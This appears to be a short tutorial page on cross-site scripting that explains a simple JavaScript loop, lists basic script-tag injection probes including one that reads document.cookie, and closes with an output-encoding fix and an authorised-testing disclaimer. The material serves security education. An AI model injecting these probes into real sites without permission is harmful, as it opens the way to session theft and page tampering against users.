XSS — Basic JavaScript Payload

What This Is

Before you can run any XSS attack, you need to understand what the browser is actually executing. This is the base JavaScript structure — the logic behind how payloads like alert(1) work under the hood.

// Basic JS structure used in XSS payloads

function processData(data) {
  data.items.forEach(item => {
    console.log(item)
  });
}

let foo = {
  items: [
    "Hello",
    "Hacker",
    "Here"
  ]
}

processData(foo)

Why It Matters

When you inject <script>alert(1)</script> into a page, the browser parses and runs it as JavaScript. Understanding how the runtime processes objects, loops, and functions lets you craft more complex payloads — data extraction, DOM manipulation, exfiltration — not just pop-ups.

Basic Injection Starters

// Test these in input fields, URL params, headers

<script>alert(1)</script>
<script>alert(document.domain)</script>
<script>alert(document.cookie)</script>

Fix: Output encode all user-supplied data. Use htmlspecialchars() in PHP, escapeHtml() in Java, or framework-level templating that auto-escapes by default.

---

All payloads documented for authorised security testing only. Do not use against systems without explicit written permission.

☕ Buy Me a Coffee    Patreon →